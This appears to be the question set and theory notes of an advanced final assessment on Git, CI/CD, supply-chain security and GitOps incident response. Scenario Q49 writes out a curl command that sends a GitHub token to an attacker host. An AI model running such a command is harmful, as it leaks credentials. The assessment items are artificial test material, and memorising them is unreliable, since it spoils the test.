Final assessment · advanced · ~150 min · pass ≥ 80%
Git, CI/CD & GitOps for Infrastructure Engineers — Final Theory Assessment
Objectives
Demonstrate theoretical mastery of Git internals and recovery
Demonstrate CI/CD pipeline judgment
Demonstrate supply-chain security reasoning
Demonstrate GitOps operational discipline
Demonstrate incident response competence
Demonstrate auditability and compliance reasoning
73 graded questions · last verified 2026-08-25
Assessment questions
Objective questions are scored automatically. Scenario answers use a second-stage rubric for evidence, remediation, and rollback.
Knowledge check · 73 questions
Q1. A file's content is stored in Git. Which object type
holds the bytes of the file?
Q2. An engineer ran `git reset --hard HEAD~3` on a
feature branch, realised the commits were valuable,
and wants to recover them. The reflog has not
expired. What is the correct recovery?
Q3. A team uses `uses: actions/checkout@v4` in 200
workflows. An upstream compromise replaces the
`v4` tag with a malicious commit. What is the
blast radius the next time any workflow runs?
Q4. A secret was committed to `main` six months ago.
The team has run `git filter-repo` to remove the
file, force-pushed, and notified the secret store.
Which of the following is the remaining risk?
Q5. `git push --force-with-lease` is always safe to
use on a shared branch because it refuses to
overwrite the remote tip.
Q6. An annotated tag and a lightweight tag are the
same object type under the hood, and differ
only in whether the tagger's name, email, and
message are recorded.
Q7. Explain the difference between `git revert` and
`git reset --hard`. When is each the right
answer in a team-shared branch, and what does
the audit trail look like after each?
Q8. A force-push at 02:14 replaced `main` with a
two-commit history. CI is green, but production
is running the previous build because the deploy
pipeline pinned to a digest. The team needs to
know whether to roll back to the old tip,
whether the rewrite is recoverable, and whether
the audit trail can be reconstructed. Describe
the investigation, the decision, and the
evidence.
An engineer force-pushed to `main` after a
rebase, replacing the eight-commit history
with a squashed two-commit history. The
pre-push tip was at commit `8f1a2b3`. The
push went through because branch protection
does not block force-pushes from the bypass
list, which includes the on-call rotation.
Production is pinned to the container digest
`sha256:9c4e...7a` built from `8f1a2b3`.
Q9. A `git filter-repo` operation removed a file
containing a database password from history.
The team force-pushed, ran `git reflog expire`,
and ran `git gc --prune=now` on the primary
remote. An auditor asks "is the secret still
exposed anywhere we control?" Describe the
investigation and the answer.
The secret was committed in a `.env` file at
commit `c4f2a91`, six months ago. The team
ran the rewrite on the primary remote, on a
self-hosted GitLab instance with a single
primary, one read-only mirror, and an
S3-backed backup. CI caches from before the
rewrite are retained for 30 days. Container
images built before the rewrite are retained.
Q10. A pipeline builds the same Docker image twice
on different runners, with the same source
commit and the same inputs. The digests
differ. What is the most likely cause?
Q11. A Terraform apply in production succeeded at
03:00, but the on-call engineer cannot
reproduce the plan that ran. The plan file
was uploaded as a CI artifact, but the
artifact retention window has expired. What
control was missing?
Q12. A workflow sets `concurrency: production`
with `cancel-in-progress: false`. Two
production deploys are triggered in quick
succession. What happens?
Q13. Caching the `node_modules` directory keyed
on the lockfile hash makes the cache
deterministic and prevents stale-cache bugs.
Q14. Rebuilding the same container image per
environment (dev, staging, prod) is a valid
promotion pattern as long as the Dockerfile
is identical and the build inputs are pinned.
Q15. Explain the three-plane model of a CI/CD
system (control plane, runner, target). Name
the trust boundary at each plane and the
control that protects it.
Q16. A pipeline is 47 minutes long. Engineering
wants it under 10. The cache restores
everything successfully, the matrix is
already sharded by directory, and the test
suite is parallel. Where is the remaining
time going, and what is the next change?
A Go monorepo with 240,000 files. The
pipeline runs `go test ./...` across 8
shards on hosted runners. Cache restores
in 14 seconds. Test execution averages
3-4 minutes per shard. Runner image
download is the largest line item in the
trace.
Q17. An SBOM is generated for a container image
in CI. Which of the following is the
operational use of the SBOM that closes the
loop with vulnerability management?
Q18. An action is pinned to a commit SHA. A
maintainer pushes a fix to a new commit
but does not move the tag. The team's
workflows still use the old commit. What
is the right next step?
Q19. A Cosign signature is generated with a key
in GitHub Actions via `cosign sign --key
env://COSIGN_KEY`. The key is a long-lived
base64-encoded value stored as an
organisation secret. What is wrong with
this picture?
Q20. SLSA Build L3 guarantees that the build
artefacts were produced on a hardened
build platform that resists runtime
tampering, even if the source repository
is compromised.
Q21. An image tagged `myorg/app:1.2.3` should
be considered immutable for deployment,
because registries honour immutable tags.
Q22. Describe the Sigstore stack (Cosign, Fulcio,
Rekor). For each component, state what it
provides and what attack it defends against.
Q23. A `package.json` dependency
`left-pad-utils@1.0.0` has been compromised
upstream. A malicious version `1.0.1` was
published with a post-install script. The
team's `package-lock.json` did not pin a
version constraint tightly. Describe the
investigation, the blast-radius assessment,
and the remediation.
The pipeline runs `npm install` in a fresh
runner with no cache. The `package.json`
had `"left-pad-utils": "^1.0.0"`, and
`package-lock.json` resolved to `1.0.0`
when the lockfile was last updated. Two
days ago, the upstream maintainer published
`1.0.1` with a post-install that
exfiltrates the runner environment.
Q24. An Argo CD Application is `Synced: False`
and `Healthy: True`. The cluster is fine
and workloads are reporting Ready. What is
the most likely cause?
Q25. An ApplicationSet generates 200 Applications
across 200 clusters. The source Helm chart
is updated, and the rollout should be 5% of
the fleet at a time. Which Argo CD feature
provides the cohort semantics?
Q26. A team is moving from `kubectl apply` in
CI to Argo CD. Which of the following is
the correct production policy for `prune`?
Q27. The pull model of GitOps requires the
cluster to have outbound internet access
to the Git repository, but it does not
require the cluster to be reachable from
the internet.
Q28. Disabling `selfHeal` in Argo CD is a safe
way to "pause" reconciliation while an
engineer investigates, because the
controller continues to read Git and
report drift.
Q29. Compare the Argo CD and Flux models of
reconciliation. How do they differ in how
an Application is declared, in how drift
is detected, and in how Helm releases are
managed?
Q30. A bad Helm value reaches production. The
Argo CD Application goes `OutOfSync`, but
the `selfHeal` policy is on, and the
controller rolls back the cluster to the
broken value on every reconcile. The
cluster is stuck in a thrash loop.
Describe the immediate response, the
rollback decision, and the prevention.
A merge to `main` updated a Helm values
file in `prod/`. Argo CD detected the diff
and applied it. The new value broke the
application, and on the next reconcile,
self-heal saw the same Git value and
re-applied it. The controller logs show
`OutOfSync` then `Sync` then `OutOfSync`
repeating every 3 minutes.
Q31. A workflow uses
`aws-actions/configure-aws-credentials@v4`
with OIDC. The trust policy on the AWS
role allows
`token.actions.githubusercontent.com:sub:
repo:myorg/myrepo:ref:refs/heads/main`.
A pull request from a fork runs the
workflow. What happens?
Q32. A database password was added as a GitHub
Actions secret `DB_PASSWORD` with masking
enabled. A workflow step runs
`echo "DEBUG: $DB_PASSWORD"`. What does
the runner see, and what does the log
show?
Q33. A team uses SOPS with age to encrypt a
Kubernetes Secret in Git. The decryption
key is held in HashiCorp Vault, and
External Secrets Operator reads it.
Which statement is true?
Q34. GitHub secret scanning with push
protection rejects any push that contains
a string matching a known provider token
pattern, including tokens the user owns.
Q35. A long-lived AWS access key in a CI
environment is acceptable as long as it
is scoped to read-only IAM permissions.
Q36. Describe the three layers of secret
management in a CI/CD system. For each
layer, give one example tool or pattern
and the attack it mitigates.
Q37. A secret-scanning alert fires at 04:12:
a GitHub PAT was pushed to a feature
branch. The push was 23 minutes before
the alert. Describe the immediate
response, the rotation, and the
prevention.
The PAT belongs to `alice@company`, a
developer with `repo` and `workflow`
scopes. The token was pasted into a
test file that was committed and
pushed. Push protection did not trigger
because the file was committed via the
GitHub web editor, which does not run
the same pre-push check.
Q38. CODEOWNERS requests a review from the
`platform-security` team on any change
to `auth/`. A PR modifies only files
under `auth/`. The `platform-security`
team is also the PR author. What
happens with branch protection requiring
one approval?
Q39. A required status check
`ci/security-scan` is configured on
`main`. The workflow that produces this
check has `permissions: contents: read`
only. A PR tries to merge with the check
passing. What is the correct
interpretation?
Q40. A regulated environment requires that
every change to a production config has
two approvals from different teams, and
that the approvers are not the author.
Which combination of controls enforces
this?
Q41. Approval fatigue is a structural
control failure, not a human error,
because the system allows low-quality
approvals to count toward the required
count.
Q42. Explain the difference between a
structural control and a procedural
control in a CI/CD system. Give one
example of each for the policy
"production deploys require approval
from a human who is not the author."
Q43. A regulated audit asks for "the list of
every change to the production
Kubernetes manifests in 2025, the
approver, and the deployment
timestamp." A passing student knows
which four systems hold each piece and
how to join them. Describe the evidence
and the joins.
The manifests live in a Git repository
under `k8s/prod/`. Argo CD reconciles
the cluster. Deployments emit events
to the observability stack (Loki and
Prometheus). Approvals are GitHub PR
reviews.
Q44. A self-hosted GitHub Actions runner is
configured to run
`runs-on: [self-hosted, linux, x64]`.
The runner is a long-lived VM that has
been executing jobs for 14 months. A
malicious dependency in one job gains
persistence on the runner. What is the
most important immediate action?
Q45. A workflow builds a container image
with `docker build`. The runner has the
Docker socket mounted at
`/var/run/docker.sock`. An attacker
controls a step in the workflow. What
can they do?
Q46. A pipeline uses Actions Runner
Controller (ARC) on Kubernetes. Each
job schedules a fresh Pod that runs the
runner and tears down on completion.
What attack class is effectively
retired by this design?
Q47. Running a build container with
`privileged: true` is a safe pattern
when the build context is trusted.
Q48. List three controls that defend against
a compromised workflow step, and
explain what each one stops.
Q49. A workflow step in a pull request from
a fork appears benign but executes
`curl https://attacker.example/exfil
-d "$GITHUB_TOKEN"`. The PR has not
been approved. What is the blast
radius, and which controls should
have stopped it?
The workflow runs on
`pull_request_target` and checks out
the PR head with full token access.
The `GITHUB_TOKEN` has `contents: read`
and `packages: write` by default in
the org.
Q50. A blue-green deployment uses a router
weight split (90/10) to shift traffic.
The new version (green) has a 5% error
rate during the canary. The old version
(blue) is healthy. What is the correct
action?
Q51. A schema migration ran as part of a
canary deploy. The new version is
failing. A rollback is requested.
What is the correct decision framework
call?
Q52. A GitOps controller reconciles the
cluster to Git. The team wants to roll
back a failed release. Which approach
is durable and audit-friendly?
Q53. A `Recreate` deployment strategy
guarantees zero-downtime because the
old Pods are torn down before the new
ones are created.
Q54. Describe the rollback decision
framework for a production incident
caused by a new release. List three
questions to ask before rolling back.
Q55. A canary to 5% of the fleet shows a
2x increase in p99 latency for the
new version. No error rate increase.
CPU and memory on the new Pods are
within budget. Describe the next
three steps and the decision tree at
each.
The canary is 5% of traffic on 3 of
60 Pods. p99 latency went from
180 ms to 360 ms. Error rate is
0.01% on both old and new. CPU and
memory are unchanged.
Q56. GitHub Actions artifact attestations
are built on which underlying
specification?
Q57. A deployment receipt must answer
four questions for an auditor. Which
of the following is NOT part of a
complete receipt?
Q58. An auditor asks "what ran in
production at 14:23 on 5 March
2026, and how did it get there?"
The system of record is the artifact
digest. Which pair of sources is the
minimum to answer the "how did it
get there" part?
Q59. An untested backup is a wish, and
an unattested artifact is the same
shape of risk for the supply chain.
Q60. A production image is suspected of
containing a known-exploited CVE.
The team must decide whether to
rebuild, to replace the tag in the
cluster, or to roll forward with a
patch. Describe the evidence and
the decision.
The image is
`myorg/app@sha256:abcd...`. The
CVE is in a base-image layer. The
cluster has 14 Pods running this
digest across two namespaces. The
workflow that builds the image
uses `FROM node:20` (a mutable
tag).
Q61. An auditor asks, six months after a
release, "show me the change, the
approver, the artefact, the deploy
timestamp, and the rollback target,
for release 2.4.1." Describe where
each piece of evidence lives and
how to join them.
Release 2.4.1 shipped on
15 September. The release tag
points to commit `b3a9f1c`. The
container image was built by
workflow run 9821. The deploy to
production ran at 11:42 UTC. Argo
CD synced the release branch to
the cluster.
Q62. The Git host (GitHub Enterprise) is
unreachable from the cluster. Argo
CD cannot fetch new manifests.
Production is running the last synced
version and is healthy. What is the
correct immediate posture?
Q63. The container registry is down for
90 minutes during a canary rollout.
The canary Pods cannot pull the new
image. What is the blast radius and
the mitigation?
Q64. In a GitOps system, the correct
response to a reconciliation loop
(a controller that keeps reverting
a change) is to disable self-heal,
not to disable sync.
Q65. A supply-chain attack is disclosed
on a widely used build tool at
16:00 UTC. The team CI uses this
tool. Describe the immediate
response, the artefact inventory,
and the rebuild plan.
The advisory says versions
`4.2.1` and earlier of `buildy`
execute a payload on install. The
team workflow runs `buildy build`
on every CI job. A clean release
`4.2.2` is available.
Q66. A developer laptop is stolen while
unlocked. The laptop has valid Git
credentials for the production
GitOps repository, a long-lived AWS
access key in `~/.aws/credentials`,
and a `kubectl` context for the
production cluster. Describe the
immediate response.
The Git credentials are a GitHub
PAT with `repo`, `workflow`, and
`admin:org` scopes. The AWS key
has AdministratorAccess. The
`kubectl` context uses a
kubeconfig with a ServiceAccount
token.
Q67. A CI runner is suspected of
compromise: an IDS alert flags
outbound traffic to a known C2
domain from a runner IP. The
runner is long-lived and has
executed 2,400 jobs in the last 30
days. Describe the containment, the
artefact inventory, and the
recovery.
The runner is a self-hosted
GitHub Actions VM labelled
`prod`. The IDS alert is dated
today, 09:14. The runner has
access to a production OIDC role
(via
`aws-actions/configure-aws-credentials`)
and to a registry write token.
Q68. The artifact registry is
compromised: an attacker with
stolen push credentials has
pushed a new tag of a production
image to point at a malicious
digest. The cluster does not pull
by tag, only by digest. Describe
the exposure, the containment,
and the decision about the tag.
The tag `myorg/app:2.4.1` now
resolves to a new digest that
was not produced by the team
pipeline. The cluster pulls by
digest `@sha256:abcd...`, and
no Deployment is currently
using the malicious digest.
Q69. Which controls are required for a defensible self-hosted runner boundary? Select all that apply.
Q70. A secret was committed to a shared repository. Which actions belong in the response? Select all that apply.
Q71. Which evidence belongs in a deployment receipt capable of reconstructing a production change? Select all that apply.
Q72. During a GitOps break-glass event, which controls are valid? Select all that apply.
Q73. Which statements correctly distinguish immutability from retention? Select all that apply.
Passing score: 80%. Answers are checked in this browser.
Git, CI/CD & GitOps for Infrastructure Engineers — Final Assessment
The final assessment has ten sections. Each section opens with
production reasoning the student should be able to demonstrate
from memory, followed by questions that exercise it. A passing
score is 80%.
The theory is closed-book. The scenarios are open-book and
open-shell: what matters is the evidence you capture and the
reasoning you show. Every scenario answer should include:
the symptom and its impact
the evidence you collected, in order
the most likely root cause, with justification
the remediation you applied
the verification you used to confirm recovery
the rollback you kept ready if the fix did not work
the prevention that closes the control gap
A high-quality answer is specific, references the artefacts and
identities involved, and identifies a concrete change in the
operator practice. An answer that names a tool without naming
the threat it retires is incomplete; an answer that names a
control without naming how it is enforced is incomplete.
Section 1 — Git Internals and Recovery
Git is a content-addressed object store with three primary
object types: blobs hold file contents, trees hold directory
listings, and commits hold a root tree plus parent references
and metadata. Tags are a fourth object that points at a commit
(annotated) or directly at a revision (lightweight). Every
object is identified by the SHA of its contents, which is what
makes the store tamper-evident and what lets a checkout verify
its own integrity. Refs are the pointers humans and tools use
(branches, tags, HEAD) and they live under .git/refs, with the
reflog recording every movement of HEAD and branch tips for
roughly 90 days by default.
Recovery flows from the reflog and from the fact that nothing
in Git is actually deleted when a ref is moved; only garbage
collection reclaims unreachable objects. The two non-negotiable
recovery tools are the reflog and git filter-repo, and the
non-negotiable rule is “never rewrite history that other people
have based work on,” and when you must, use
git push --force-with-lease.
Section 2 — CI Architecture and Pipeline Discipline
A CI pipeline is a graph of jobs on a runner. The three-plane
model (control plane, runner, target environment) is what
determines the trust boundaries. A pipeline that builds is a
different actor from the pipeline that applies, and an
environment that holds long-lived production credentials
should never run builds. The artifact identity is the
keystone: once a container image, a Terraform plan, a Helm
chart, or a Kustomize tarball is published, its digest is the
only thing that should ever address it. Promotion across
environments moves the same digest; rebuilding per environment
destroys reproducibility.
Section 3 — Supply Chain Security
The supply chain for infrastructure code has four trust
boundaries: source, dependencies, build, and deployment. Every
boundary is an attack surface, and every boundary has a
control. SBOM is the inventory, SLSA is the integrity claim,
and Cosign plus Rekor are the verification path. Pinning to a
commit SHA and to an image digest is the floor, not the
ceiling. The OWASP Top 10 for CI/CD Security Risks and the
SLSA specification together cover the threat model.
Section 4 — GitOps Principles and Reconciliation
GitOps has four principles: the desired state is declared in
Git, the declaration is versioned and immutable, agents pull
the declaration rather than the pipeline pushing it, and
agents continuously reconcile observed state toward declared
state. The pull model is the security primitive; the
reconciliation loop is the reliability primitive. Argo CD and
Flux implement the model differently, but both expose Synced
and Healthy as the two orthogonal status dimensions. Prune is
the safety question, and the default in production is
prune: false with a deliberately chosen sync window.
Section 5 — Secrets Management and Identity
Secrets in a CI/CD system are different from secrets in an
application: a secret in a pipeline reaches every job that has
access to the environment, every log line that prints the step,
every artifact that captures the workspace, and every cache
that holds intermediate state. Masking is a UI nicety, not a
control. The discipline is three layers: source of truth
(Vault, cloud secret manager), identity (OIDC federation with
short-lived credentials), and delivery (External Secrets
Operator, SOPS, Sealed Secrets). A passing student can answer
three questions for any secret: where is the source of truth,
who can issue it, and what is the maximum lifetime in hours.
Section 6 — Branch Protection, Approval and Compliance
Branch protection rules are the policy layer of a Git
repository. CODEOWNERS turns approval into ownership;
protected environments extend the model into CI. Approval
fatigue is the failure mode, and segregation of duties is
what survives 3 a.m. A structural control is enforced by the
system (CODEOWNERS, branch protection, required status
checks, policy-as-code). A procedural control is enforced by
humans (a wiki page, a Slack policy, a verbal agreement). The
first survives 3 a.m. The second does not.
Section 7 — Runner Security and Execution Boundaries
The CI runner is the most privileged actor in a typical
pipeline. The threat model is “the workflow contents are
attacker input.” Ephemeral runners retire the entire class of
persistence attacks. The Docker socket is the most common
escape path. The discipline is: the runner is hostile; treat
its inputs as untrusted, its outputs as untrusted, and its
lifetime as one job.
Section 8 — Deployment Strategies and Rollback Discipline
The four deployment strategies are rolling update, canary,
blue-green, and recreate. Each has a different rollback cost.
Rollback versus forward-fix is a decision, not a reflex:
rollback is the right answer when the new version is broken
and rollback is fast and safe; forward-fix is the right answer
when rollback would lose data, when rollback is slower than
the fix, or when the issue is in the old version. The
decision is made at incident time by an operator who knows
both the cost of rollback and the cost of waiting.
Section 9 — Auditability, Provenance and Reconstruction
The audit question is “what ran in production, and how did it
get there?” The answer requires four pieces of evidence: the
artifact identity, the deployment claim, the change record,
and the runtime evidence. SLSA Build L3 produces the
provenance attestation; Rekor is the transparency log. The
reconstructability test is the operational version: given a
production incident from six months ago, can the on-call
engineer reproduce the artifact, the configuration, the
deployment, and the rollback path from the Git repository
alone?
Section 10 — Production Operations and Incident Response
Production incidents in a GitOps system fall into three
classes: cluster, GitOps, and supply-chain. Each class has a
different first action. The first action is always
containment (isolate, revoke, stop), then assessment (what
reached production, what can be reached), then remediation,
then postmortem. A passing student can run the four phases
for any incident class and can write a postmortem that names
the control gap rather than the human error.